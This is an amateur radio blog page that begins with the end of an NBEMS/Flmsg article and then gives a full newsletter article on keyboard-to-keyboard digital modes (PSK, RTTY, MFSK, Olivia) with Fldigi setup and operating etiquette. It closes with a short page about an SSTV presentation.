That’s it for using NBEMS! I have a more detailed setup and walk through of installing and configuring Fldigi and Flmsg. My instructions include another Fldigi suite application called Flwrap. Flwrap allows files of any type to be transferred. It sounded, at one point, like it was going to be part of the standard set of NBEMS applications but never made it due to the file size constraints. Additionally, Flmsg performs similar functionality to Flwrap in its ability to send TXT & CSV files. The Flwrap parts can be skipped unless they are found useful.

Typically, you’ll need to setup a sked or hold a net to pass messages around. Operators don’t sit around watering holes sending Flmsg messages, though I have seen it! Use news on QRZ.com or ARRL Ohio Section updates as text to fill out the forms as practice. Participating in a couple different nets, there seems to be less problems when everyone is using the same versions of the applications.

An Android smart phone app is available at the same site as Fldigi called AndFlmsg. There is a INSTALL.txt file with install instructions. The app is not available through any of the Android app stores and must be installed by temporarily enabling the option to allow applications from “Unknown sources.” A user guide is available in the same directory as the download. This will be helpful as the interface is not entirely intuitive.

The Ohio Digital Emergency Net (OHDEN) is a weekly HF practice net that uses the Olivia standard. Checkins and coordination is accomplished using the text input box in Fldigi. There is no voice coordination. Formal messages don’t happen every week but are passed using Flmsg. OHDEN meets Tuesdays at 7:45 PM eastern on 3.585 USB using Olivia 8-500 centered on 1000 Hz.

Find out more information:
NBEMS mission statement, considerations, and features: http://uspacket.org/network/index.php?topic=44.0

ARRL NBEMS: http://www.arrl.org/nbems

K8JTK Getting started with Fldigi – including Flmsg and Flwrap: http://www.k8jtk.org/2015/04/16/getting-started-with-fldigi-including-flmsg-and-flwrap/

K8JTK VHF/UHF NBEMS – An Introduction using Fldigi and Flwrap: http://www.k8jtk.org/2015/11/10/vhfuhf-nbems-an-introduction-using-fldigi-and-flmsg-presentations/

Ohio Digital Emergency Net: http://www.ohden.org/

Digital Communications in Amateur Radio: Conversational Digital Modes (PSK, RTTY, MFSK, Olivia)

This article appeared in the The Wood County Amateur Radio Club newsletter CQ Chatter February 2017 edition.

Read the rest of the series in the Digital Communications in Amateur Radio articles category.


Got a new rig for Christmas? How about working digital? The most popular digital modes in ham radio are conversational modes (keyboard-to-keyboard). Best way to describe these is the instant messaging or text messaging of ham radio digital modes. One station sends a message to another station. The other station does the same in return. Conversations can be about anything – the weather, where that person lives, traveling, or life stores – for as long as you want. These modes include (in order of popularity): PSK, RTTY, MFSK, and Olivia. All, except Olivia, are available on the W1AW digital operating schedule. Others will pop up on the bands from time-to-time too or you may choose to play around with a buddy using other modes.

For the popular flavors of these digital modes, I performed a transmit time test. The text was one paragraph of “Lorem Ipsum” with 83 words consisting of 569 characters. I recorded how long it took to transmit the message in minutes and seconds to compare the speed of each flavor. The results were close between equivalent modes. PSK-31 and RTTY-45, for example, took about 2 minutes. This indicates that the advantage is not necessarily in speed but which mode works better in a situation. Popular HF frequencies are also listed. There is a lack of consensus on some of the exact frequencies. It won’t be uncommon to hear these modes in other portions of the data sub-bands. Different flavors tend to operate on the same frequency to stir up activity.

Commonalities among conversational modes include the RSID (Reed-Solomon Identification) tones which universally identify a digital signal at the beginning and, occasionally, the end of a transmission. RSIDs are more popular on rarer and wider modes like PSK-63, MFSK, Olivia, and other rare modes. An RSID tone is about 170 Hz so announcing your PSK-31 signal at 31 Hz will interfere with other conversations.

It is common to give a signal report using the IARU RSQ reporting system. Like the RST system of “59,” RSQ adds an additional number “599.” These numbers stand for:

Readability (percentage of good text received):

  • 5: 95+%, perfectly readable.
  • 4: 80%, little to no difficulty.
  • 3: 40%, considerable difficulty and many missed characters.
  • 2: 20%, occasional words distinguishable.
  • 1: 0%, unreadable.

Strength (measure how strong the signal trace is on the waterfall, there are only 5):

  • 9: Very strong trace.
  • 7: Strong trace.
  • 5: Moderate trace.
  • 3: Weak trace.
  • 1: Barely visible trace.

Quality (measure of unwanted artifacts in the signal: pops, clicks, splattering, harmonics, and unwanted modulation):

  • 9: Clean signal.
  • 7: One barely visible sidebar pair.
  • 5: One clearly visible sidebar pair.
  • 3: Multiple visible sidebar pairs.
  • 1: Splattering over much of the spectrum.

Also brush up on CW shorthand as these are used in exchanges. Commonly used abbreviations: btu (back to you), k (any station may transmit), kn (specific station only may transmit), sk (done transmitting, clear), pse (please), de (this is).

Reminder: review the first two articles in the series for information that will be omitted here including some modes operate your transceiver at 100% duty cycle, use upper sideband (USB), and don’t drive the transmitter with too much audio as the signal will be wider than intended.

PSK

PSK-31 is the most widely used HF digital mode. It’s popular because of its narrow signal. PSK was at the forefront of the digital sound card revolution in 2000. It was discovered that ordinary sound cards and computers had enough power to become digital-to-analog converters. Peter – G3PLX created PSK-31 to perform well with weak signals and operate at a narrow bandwidth. In a perfect world, within 3 kHz you could potentially have nearly 100 individual QSOs happening at once.

PSK stands for Phase Shift Keying, the modulation method used to generate the signal. It’s a common mistake to believe that 31 stands for the amount of bandwidth the signal occupies. It does occupy 31 Hz, however 31 stands for the bit rate of 31.25. There are other flavors of PSK: PSK-63, PSK-125, and PSK-250 each less likely to be seen on the bands than the previous.

It might be observed that software applications may have BPSK and QPSK in their list of operating modes. BPSK stands for Binary Phase Shift Keying and QPSK Quaternary Phase Shift Keying. The differences between these two are significant. When people refer to PSK, 99% of the time they are referring to BPSK. QPSK is a better choice under adverse conditions because it adds a significant amount of error correction ensuring nearly 100% copy of the transmission during signal fade or interference. However, both stations need to be on frequency, within 4 Hz, for error correction to work correctly. It takes a lot more work for two stations to be in sync with each other using QPSK.

Some stations may request an IMD (Inter-Modulation Distortion) report. This metric can only be observed while the other station is in transmit mode but no text is being sent; idle in other words. The station might type a message saying they’re looking for an IMD report and leave it idle for 10, 15 seconds, or more. There will be a measurement on screen in negative dB; lower the negative number the better. Readings in the -25dB to -30dB rage are considered very good, -20dB or greater is considered bad. A bad reading is usually caused by driving the transmitter with too much audio.

Transmit test: PSK-31: 1:58, PSK-63: 1:00
Frequencies: 3580 kHz, 7070 kHz, 10140 kHz, 14070 kHz, 21070 kHz, 28120 kHz.

RTTY

After six decades of use by hams RTTY, known as Radioteletype, is still a very popular mode for contesting and DXing on the low bands. RTTY has a long history and HF digital operators are very comfortable with it. Many transceivers also have RTTY built in. This mode works better in decoding large pileups than other modes. RTTY is efficient in that it works at a speed of about 60 words per minute – which is about the fastest one person can type. Other modes are typically much slower.

RTTY is based off the Baudot digital code which represents each character as a series of bits for telephone or radio communication. W1AW will refer to RTTY as Baudot on their operating schedule. Looking at a RTTY signal on a waterfall, the 1’s and 0’s are represented by twin tones for the mark (1) and space (0) tones. The two data streams are separated by the shift or space between them. When people refer to RTTY, they will most commonly refer to RTTY-45 (baud) but 75 can be seen as well. Inverted RTTY flips the mark and space data streams.

Transmit test: RTTY-45: 1:53, RTTY-75: 1:09.
Frequencies: 3580-3600 kHz, 7040-7100 kHz, 14080-14099 kHz, 21080-21100 kHz, 28080-28100 kHz.

MFSK

Multi-Frequency Shift Keying, known as MFSK, is “super-RTTY” which uses multiple tones instead of the two used in RTTY. The most popular is MFSK-16 using 16 tones. MFSK was developed as a flexible point-to-point solution to combat multipath propagation problems. It is very good at detecting noise and reducing transmit errors with error correction all while utilizing low bandwidth. MFSK is slow to decode so be patient!

An exciting addition to some MFSK flavors is the ability to send small images. MFSK-16 can send images but not MFSK-8. A 320×256 sized color image took 4:26 using MFSK-16. It’s unlike Slow Scan TV where the software will size the image and overlay a template. The image needs to be fully prepared before it can be transmitted.

Transmit test: MFSK-16: 1:45, MFSK-8: 2:48.
Frequencies: 7072 kHz, 14072-14076 kHz.

Olivia

MFSK is good in poor band conditions but Olivia offers even better performance. Developed by Pawel – SP9VRC it is named after his daughter Olivia. It is called the JT65 of conversational modes because it’s incredibly slow but unlike JT65, it’s not a structured exchange.

There are different combinations of bandwidth and number of tones used, such as 500/16 is 500 Hz with 16 tones. Fldigi reverses these numbers for some odd reason and will read “Olivia 16 – 500.” Locking on to an Olivia signal may take 15 seconds. If the software is not decoding after that time, the bandwidth might be correct but the number of tones maybe wrong. For this reason, a call for “CQ” may take a minute or longer so stations can lock on and return a call. Be patient!

Olivia is great for poor band conditions because a trace may not be seen on the waterfall but a signal might be decoded! One example I share is a buddy of mine and I tried operating Olivia. We established contact and had strong traces on the waterfall using only 1.5 watts. We decided to compare it to sideband voice. We couldn’t contact each other on sideband until we were nearly up to 100 watts!

Transmit test: Olivia 500/16: 4:56, Olivia 500/8: 3:20.
Frequencies: 1835-1838 kHz, 3583.25 kHz, 3577 kHz, 7035-7038 kHz, 10141-10144 kHz, 14072-14075.65 kHz, 14106.5 kHz, 18102.65 kHz, 21072 kHz, 24922 kHz, 28122 kHz.

Software

I love and recommend software applications that are capable of operating multiple modes (multimode) using one application. This keeps the clutter down of installing multiple applications for each mode. The two I use are Digital Master 780 (DM780) as part of the Ham Radio Deluxe suite (http://ham-radio-deluxe.com/). This package is not free and only available on Windows. If that is out of your budget, then I recommend Fldigi (http://www.w1hkj.com/). It’s free, open source, and cross platform available on Windows, Mac, and Linux including Raspberry Pi. Both of these support many different modes and are constantly being updated and with newer modes.

MixW (http://mixw.net) and MultiPSK (http://f6cte.free.fr/index_anglais.htm) are alternatives and support most modes. There are specific mode applications like DigiPan (http://www.digipan.net/) for PSK and MMTTY (http://hamsoft.ca/pages/mmtty.php) for RTTY. Both are no longer maintained but are reported to work well with later versions of Windows. Other programs have known issues with versions of Windows later than Vista. Keep that in mind when trying older programs.

The software applications are similar in setup and operation. Exact labeling might be different from application to application. I am going to reference Fldigi, though not going in-depth with settings, it should get you started. Install Fldigi with the default options. A configuration wizard will appear the first time the application is started. Fill out all your station information. Select the sound card interface (USB Audio Codec for SignaLink). If the transceiver is using something other than the SignaLink for keying, select the appropriate radio and COM port for TX control.

There are many parts to the Fldigi window. Standard menu options are seen like “File,” “Op Mode,” “Configure,” etc where operating modes or Fldigi configuration can be changed. Below that is Radio Control and Logging. When using internal logging, you’ll want the frequency to be correct. Rig control will help greately to automatically log the correct frequency as you change the VFO. Below that is the tan box where received messages will be displayed as well as transmitted messages will be copied here. The blue box is the transmit window where messages are composed for transmitting. If you have a white box to the left of the transmit and receive panes, this is the signal browser. This will display all conversations taking place, using the same mode, on the same frequency at once! Below the transmit text box is a line of colored buttons which are macros. Macros are pre-populated and commonly exchanged texts so you don’t have to keep typing them (right-click the button to edit). Below that is the frequency scale in Hz and waterfall. Below the waterfall are the waterfall controls. The line below that are the status messages and readings. To the right of the waterfall are two vertical white and a gray bars which indicate the strength of the decoded digital signal and squelch setting.

Tune your radio to one of the PSK frequencies to get setup. 20 meters is better during the day and 40 at night. The waterfall should start turning blue and yellow. If it is black, check the audio paths between the radio and computer, verify the audio input is set correctly in the Fldigi setup. Radios with a main and sub-band often cause confusion as to which band sends audio to the computer. If there is blue and yellow but a lot of black on the waterfall, check and disable radio filtering. Pro tip: the waterfall is a great educational place to visualize the filtering changes of the radio.

Now from the menu select “Op Mode,” “PSK”, then “BPSK-31.” To select a digital signal on the waterfall, simply click on the waterfall and the cursor will move to that location. Signals under the cursor will be displayed in the receive pane. It’s important to move the cursor on screen and do not adjust the radios VFO. Once a strong PSK signal is selected, you’ll notice the white squelch bar fills with green. The green needs to be above the light gray squelch slider to break squelch and decode. This is the first place to look if the cursor is over a signal but it is not decoding. Having the squelch set too high will miss decoding weaker signals and having the squelch too low will produce a lot of garbage text in the receive window. If a specific signal is strong but not decoding, the signal could also be multipathing, thus confusing the program. Watch conversations a good while to make sure you understand how the program works and for conversation syntax. Many programs have a “Signal Browser” or “Signal Sweeper” (DM780) which will decode multiple conversations at one time! In Fldigi, this can be broken out in a separate window under the “View” menu option.

Someone calling CQ will send CQ two-three times. I am K8JTK and Steve – W8HF will be the other station in these examples.

CQ CQ CQ de K8JTK K8JTK K8JTK
CQ CQ CQ de K8JTK K8JTK K8JTK

Repetition is good for weaker stations that might miss a letter or two. A responding station may respond with: K8JTK K8JTK de W8HF W8HF pse kn.

The two stations might begin the exchange using macros. These are good conversation starters. Macro messages typically include age of the operator, when they were licensed, radio and antenna, digital software program (Fldigi), computer operating system, physical location, etc, etc. This macro is called the “Brag” macro because you brag about your station. Beware though, for slower modes like Olivia, it can take a LONG time to send the same macro that takes seconds using PSK. The two stations could conclude the exchange or go back and forth typing out messages using the keyboard.

When receiving a message from another station, the responding station can begin typing a response in the blue transmit window even before the other station has finished transmitting. Always begin with something like “W8HF de K8JTK” so the other station knows you are responding to them, then continue with your message. If you’re conversing with a station and they don’t respond back after your message, they may have lost your signal, their program crashed, or became distracted. I typically wait 30 seconds – 1 minute and try a quick call back to the other station: W8HF W8HF W8HF de K8JTK K8JTK K8JTK, did I lose you? W8HF de K8JTK pse kn. I’ll try this 2-3 times and if they don’t return, I’ll log the QSO and move on.

End of transmissions should conclude with something like “btu Steve W8HF de K8JTK pse kn” noting the station is turning it back over to the other station. Concluding the conversation will end with something like: thx for QSO Steve, 73, W8HF de K8JTK sk. Other stations will end with a similar macro that includes their QSL information or when they upload their logs.

To transmit CQ, find an open space on the waterfall and click to bring the cursor to that spot. Tones will be generated in the same place as the cursor on the waterfall during transmission. Tune up on frequency and call CQ using the “CQ” macro. Some macros start and/or stop transmitting on their own. The “T/R” button under the waterfall is your best friend to start or stop transmitting. Some of the macros have the sequence “^r” at the end. This is an Fldigi command to change from transmit mode to receive mode aka transmission complete. This can be typed in manually at the end of messages too. PSK Reporter (http://pskreporter.info/) can be used just like JT65 to see how far you’re reaching.

Logging is fairly straight forward. RTTY and Olivia are logged as their respective mode only. BPSK is logged as PSK31, PSK63, etc. QPSK31, MFSK8, and MFSK16 are all logged as listed. If an RSQ was exchanged, log it accordingly. IMDs for either station can be recorded in the comments for future reference.

One idiosyncrasy with Fldigi: the position of the cursor in the transmit pane is critical. Fldigi will remain idle during transmission until the cursor is moved further down or moved to the end of the message. Many people are confused by this behavior and other programs don’t seem to follow this convention. For example if you had a sentence with “this that” and positioned the cursor after “this,” characters before the cursor will be transmitted until the point of the cursor was reached. The word “this” would be transmitted then Fldigi will remain idle in transmit mode until the cursor is moved. When moved, “that” will be transmitted until the program reaches the cursor again. Position the cursor at the end of the message during transmit and all will be well.

That’s it. These conversational modes are very open and very free form. Contesting will have a structure but casual operating is very informal. This outline can lead to operating other modes like Contestia, Thor, Throb, MT63, or Hell. Yes “Hell,” short for Hellschreiber, is a facsimile based mode where there is a reason everything is printed twice.

Find out more information:
“PSK31: A New Radio-Teletype Mode” by G3PLX: http://www.arrl.org/files/file/Technology/tis/info/pdf/x9907003.pdf
“Get on the Air with HF Digital” book: https://www.arrl.org/shop/Get-on-the-Air-with-HF-Digital
“RTTY/PSK31 for Radio Amateurs” book: https://www.arrl.org/shop/RTTY-PSK31-for-Radio-Amateurs-2nd-Edition/
“Nifty E-Z Guide to PSK31 Operation” book: https://www.arrl.org/shop/Nifty-E-Z-Guide-to-PSK31-Operation/
“How to get started with PSK-31 Ham Radio” by K7AGE on YouTube: https://www.youtube.com/playlist?list=PL8D7C6EBD6E2081E2

SSTV – Images via Radio presentations

Slow-Scan TV presentation.

Framework

The framework I chose to use for the presentation slides is called reveal.js. It is an HTML framework meaning it will run in any HTML 5 capable browser. Looks a little better than a PowerPoint presentation.

Navigation

Useful navigation keys in the presentation. In addition to navigating with the keys below, you can swipe (tables/smartphones) or use the navigation arrows on screen in the lower right.

Toggle full screen: press [F11].

Advance to the next slide: press [n] or [SPACEBAR].

Go back to the previous slide: press [p] or press and hold the [SHIFT] key while pressing the [SPACEBAR].

Display presentation overview: [ESC] then use the arrow keys or mouse to select a slide. [ESC] again will exit overview mode.

Links

Clickable links are colored in blue text.

Presentations

Three variations are available: presentation version is viewable in a browser. Printable version for printing or saving in a different format (Chrome, Chromium, and variants compatible only). Finally a PDF version.

They may take some time to load because I left original images untouched and some were a couple MB in file size.

Slides

The presentation is about 45 minutes in length.

Presentation version
Printable version
PDF version

This presentation was given at the following meetings:
Lake Erie Amateur Radio Association on 9/27/2016.
Geauga Amateur Radio Association on 9/25/2017.